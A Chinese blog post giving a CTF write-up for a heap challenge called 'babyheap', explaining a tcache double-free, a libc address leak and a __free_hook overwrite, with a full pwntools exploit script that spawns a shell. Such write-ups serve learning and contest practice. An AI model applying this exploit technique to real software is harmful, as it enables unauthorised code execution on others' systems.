迟到三个月的省赛wp

Posted by l0tus on 2022-12-16
Estimated Reading Time 4 Minutes
Words 947 In Total
Viewed Times

babyheap

三个月前,9月17号参加了省赛,菜的和狗一样玩了一下午吃豆人。三个月后初学了堆,还是菜的和狗一样,不过大抵是会做这第一道了。
test
test
首先题目是一道规规矩矩的堆体模板。add函数限制了次数为7次,大小限制为0x7f及以内
根据各个函数的实现,先在脚本里写好对应的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add(size):
p.sendlineafter(b"input your choice: ",b'1')
p.sendlineafter(b"input size: ",str(size).encode())

def delete(idx):
p.sendlineafter(b"input your choice: ",b'4')
p.sendlineafter(b"input index: ",str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"input your choice: ",b'2')
p.sendlineafter(b"input index: ",str(idx).encode())
p.sendlineafter(b"input content: ",content)

def show(idx):
p.sendlineafter(b"input your choice: ",b'3')
p.sendlineafter(b"input index: ",str(idx).encode())

这里我们需要填充tcache,可以采用覆盖0号chunk中的key也就是tcache中的bk指针位置,使其为0绕过检查。如此一来就可以多次free同一个堆块实现tcache的填充(这里参考的了nameless✌的做法)
因为tcache中的链为单向链表结构,其fd指针指向下一个,bk指针没有用处就充当key。在双向链表的bin中就没有key的检查。
覆盖key的方法则比较粗暴,直接利用edit函数将fd、bk同时覆盖为0即可。
控制好数量,填充完后可以达到这样的效果:
test
这里看到很有意思的一点,tcache显示被填满但没有形成链表,其道理就是我们将其fd、bk指针都进行了覆盖,导致tcache中是完全一样的七个0号chunk,并且不成链表结构,或者说,指向自己。
而unsorted bin中的堆块由于unsorted bin的特性,最后的堆块指向main_arena中unsorted bin的链表头,因此0号chunk又会指向main_arena某处。那么就可以泄露malloc_hook进而泄露libc。
但是这次我们换一种更直接的方法来计算libc的基址,那就是通过show函数回显出unsorted bin中chunk的指向后,先用tele指令观察回显的地址是什么东西:
test
这里看到回显的地址是main_arena+96,也就是链表头,这时候我们直接用vmmap指令可以看到这一次运行时libc的基地址:
test
直接将show的回显和libc基址相减就可以得出偏移,libc基址每次程序加载都在变,但是有了偏移之后,我们每次都可以通过show的回显减去偏移得到libcbase
这里求出偏移为0x3ebca0
有了libc基址之后就可以利用free_hook和system函数,再利用tcache poisoning利用free hook,传入system,构造好待free的chunk为"/bin/sh",最终delete就可以get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*
context(log_level="debug")
context.terminal=["konsole","-e"]
p=process("./babyheap")
elf=ELF("./babyheap")
libc=ELF("./libc-2.27.so")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

def add(size):
p.sendlineafter(b"input your choice: ",b'1')
p.sendlineafter(b"input size: ",str(size).encode())

def delete(idx):
p.sendlineafter(b"input your choice: ",b'4')
p.sendlineafter(b"input index: ",str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"input your choice: ",b'2')
p.sendlineafter(b"input index: ",str(idx).encode())
p.sendlineafter(b"input content: ",content)

def show(idx):
p.sendlineafter(b"input your choice: ",b'3')
p.sendlineafter(b"input index: ",str(idx).encode())

add(0x7f)
add(0x7f)
delete(0)

for i in range(0,7):
edit(0,p64(0)*2)
delete(0)
#gdb.attach(p)
show(0)
p.recvuntil(b"\n")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
print("libcbase: ",hex(libcbase))

free_hook=libcbase+libc.sym["__free_hook"]
system=libcbase+libc.sym["system"]

edit(0,p64(free_hook))
add(0x7f)
add(0x7f)
edit(3,p64(system))
edit(0,b"/bin/sh\x00")
delete(0)
p.interactive()


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !